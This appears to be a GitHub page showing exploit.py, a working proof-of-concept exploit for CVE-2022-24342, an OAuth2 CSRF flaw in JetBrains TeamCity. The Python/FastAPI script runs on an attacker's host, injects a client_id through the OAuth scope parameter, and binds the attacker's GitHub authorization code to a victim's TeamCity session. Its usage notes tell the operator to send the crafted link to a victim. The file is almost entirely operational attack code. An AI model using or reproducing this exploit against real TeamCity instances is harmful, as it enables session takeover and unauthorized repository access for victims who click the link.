-
Notifications
You must be signed in to change notification settings - Fork 7
/
exploit.py
144 lines (130 loc) · 6.46 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# Exploit Title: JetBrains TeamCity - URL parameter injection leading to OAuth2 CSRF.
# Date: 25-02-2021
# Exploit Author: Yurii Sanin (https://twitter.com/SaninYurii)
# Software Link: https://www.jetbrains.com/teamcity/
# Affected Version(s): <2021.2.1
# CVE : CVE-2022-24342
# -----------------------------------------------------------------------------------------------------------------------------
# Usage
# > Run exploit: `uvicorn exploit:app --reload`
# > Register GitHub OAuth2 application (homepage: "http://{exploit-host}:8000", Authorization callback url: "http://{exploit-host}:8000/callback")
# > Send the link to a victim: "http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}"
# Example: http://localhost:8000/exploit?target_host=http://localhost:8088&gh_client_id=d0e8136b100ef006b4f2
import json
import uuid
import logging
import uvicorn
import argparse
import requests
from base64 import b64decode
from urllib.parse import urlparse, parse_qs, urlencode
from fastapi import FastAPI
from fastapi.responses import RedirectResponse
parser = argparse.ArgumentParser()
parser.add_argument("-s", help="GitHub user session", required=True)
parser.add_argument("-p", help="Uvicorn port", default=8000)
APP_STATE = None
GITHUB_USER_SESSION = None
TC_CONNECT_PATH = "/oauth/github/connect.html"
GITHUB_LANDING_PATH = "/oauth/github/accessToken.html"
logger = logging.getLogger("CVE-2022-24342")
logging.basicConfig(level=logging.INFO)
app = FastAPI()
@app.get("/exploit")
def exploit(target_host: str, gh_client_id: str):
if target_host is None:
logger.error("[ERROR] - target host cannot be null.")
return
target_host_url = urlparse(target_host)
if target_host_url.scheme not in ["http", "https"] or target_host_url.hostname is None:
logger.error(f"[ERROR] - target host {target_host} is not valid URL.")
return
github_config = get_github_authorize_url(target_host)
if github_config is None:
logger.error("[ERROR] - can't get GitHub config for the TeamCity instance.")
return RedirectResponse(target_host)
client_id = github_config["client_id"]
tc_state = github_config["state"]
redirect_uri = github_config["redirect_uri"]
logger.info(f"[INFO] - GitHub authentication enabled, client_id: '{client_id}'.")
connection_id = json.loads(b64decode(tc_state)).get("connectionId")
logger.info(f"[INFO] - GitHub connection id: '{connection_id}'.")
auth_code = get_github_authorization_code(client_id, redirect_uri)
if auth_code is None:
logger.error("[ERROR] - can't get attacker's authorization code.")
return RedirectResponse(target_host)
logger.info(f"[INFO] - GitHub authorization code obtained for the GitHub application.")
payload_params = dict(
action="obtainToken",
projectId="_Root",
connectionId=connection_id,
scope=f"public_repo,repo,repo:status,write:repo_hook,user:email&client_id={gh_client_id}",
callbackUrl="/oauth/github/connect.html"
)
global APP_STATE
APP_STATE = dict(target_host=target_host, auth_code=auth_code)
redirect_url = f"{target_host}/oauth/github/accessToken.html?{urlencode(payload_params)}"
return RedirectResponse(redirect_url)
@app.get("/callback")
def csrf_redirect(state: str):
params = dict(
state=state,
code=APP_STATE["auth_code"]
)
logger.info(f"[INFO] - OK. Recieved OAuth2 state: '{state}'.")
redirect_url = f"{APP_STATE['target_host']}/oauth/github/accessToken.html?{urlencode(params)}"
logger.info(f"[INFO] - redirect back to target host.")
return RedirectResponse(redirect_url)
# get Github authorize URL for the TeamCity instance
def get_github_authorize_url(target_host):
try:
response = requests.get(
f"{target_host}/oauth/github/login.html",
allow_redirects=False)
if response.status_code not in [302] or response.headers['Location'] is None:
logger.error(f"[ERROR] - can't get GitHub OAuth2 client info, unexpected HTTP status code '{response.status_code}'.")
logger.error(f"[ERROR] - seems like GitHub authentication is disabled for the TeamCity instance.")
return None
parsed_location_url = urlparse(response.headers['Location'])
location_query_params = parse_qs(parsed_location_url.query)
except Exception:
logger.error(f"[ERROR] - can't get GitHub OAuth2 client info.")
return None
return dict(
client_id=location_query_params["client_id"][0],
state=location_query_params["state"][0],
redirect_uri=location_query_params["redirect_uri"][0])
# get OAuth2 authorization code using attacker's account
def get_github_authorization_code(client_id, oauth_landing_uri):
session = requests.Session()
try:
response = session.get(
"https://github.com/login/oauth/authorize",
cookies={"user_session": GITHUB_USER_SESSION},
allow_redirects=False,
params=dict(
client_id=client_id,
scope="public_repo,repo,repo:status,write:repo_hook,user:email",
state=str(uuid.uuid4()),
redirect_uri=oauth_landing_uri))
if response.status_code not in [302] or response.headers['Location'] is None:
logger.error(f"[ERROR] - can't get attacker's authorization code, unexpected HTTP status code '{response.status_code}'.")
return None
parsed_location_url = urlparse(response.headers['Location'])
location_query_params = parse_qs(parsed_location_url.query)
if "code" not in location_query_params:
logger.error(f"[ERROR] - can't get attacker's authorization code from the Location header.")
return None
code = location_query_params["code"][0]
except Exception:
logger.error(f"[Error] - can't get location of the GitHub application.")
return None
return code
if __name__ == '__main__':
print("|-----------------------------------------------------------------------------------|")
print("| CVE-2022-24342 OAuth2 CSRF in JetBrains TeamCity leading to session takeover |")
print("| developed by Yurii Sanin (Twitter: @SaninYurii) |")
print("|-----------------------------------------------------------------------------------|")
args = parser.parse_args()
GITHUB_USER_SESSION = args.s
uvicorn.run(app, host="0.0.0.0", port=args.p, log_level="info")